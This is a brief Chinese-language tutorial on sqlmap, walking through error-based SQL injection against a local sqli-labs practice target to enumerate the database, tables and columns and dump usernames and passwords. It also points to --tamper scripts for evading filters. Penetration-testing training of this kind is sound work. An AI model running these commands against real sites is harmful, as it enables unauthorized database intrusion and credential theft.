sqlmap----注入神器
sqlmap是一个开源的渗透测试工具,可以自动检测和利用SQL注入漏洞并接管数据库服务器。它配备了强大的检测引擎,为终极渗透测试仪提供了许多利基功能,以及从数据库指纹识别,从数据库中获取数据到访问底层文件系统以及在操作系统上执行命令的各种交换机。
sqlmap支持的数据库:
MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLite,Firebird,Sybase,SAP MaxDB,Informix,HSQLDB和H2
sqlmap基本参数:
--update 更新升级
--dbms 指定数据库类型
--users 列举数据库用户
--dbs 列举数据库
--passwords 列举数据库用户密码
--reg-read 读取win系统注册表
这里以sqlin-labs-master演示sqlmap的使用方法:
检测是否可以注入:
sqlmap.py -u http://192.168.81.128/sqlin/Less-2/?id=1
接下来开始注入,指定注入方法用报错注入,爆数据库名称:
sqlmap.py -u http://192.168.81.128/sqlin/Less-2/?id=1 --technique E --current-db
爆数据表:
sqlmap.py -u http://192.168.81.128/sqlin/Less-2/?id=1 --technique E -D security --tables
爆字段:
sqlmap.py -u http://192.168.81.128/sqlin/Less-2/?id=1 --technique E -D security -T users --columns
报数据:
sqlmap.py -u http://192.168.81.128/sqlin/Less-2/?id=1 --technique E -D security -T users -C username,password --dump
以上所用到的参数有:
--technique 指定注入方法
B Boolean-based blind(布尔盲注)
E Error-based(报错注入)
U Union query-based(联合注入)
T Time-based blind(时间注入)
--current-user 获取当前用户
--current-db 获取当前数据库名称
--tables 获取表名
--columns 获取列名
--dump 获取数据
最后说一个特别牛X的参数:--tamper 自带脚本绕过(也可以自己添加)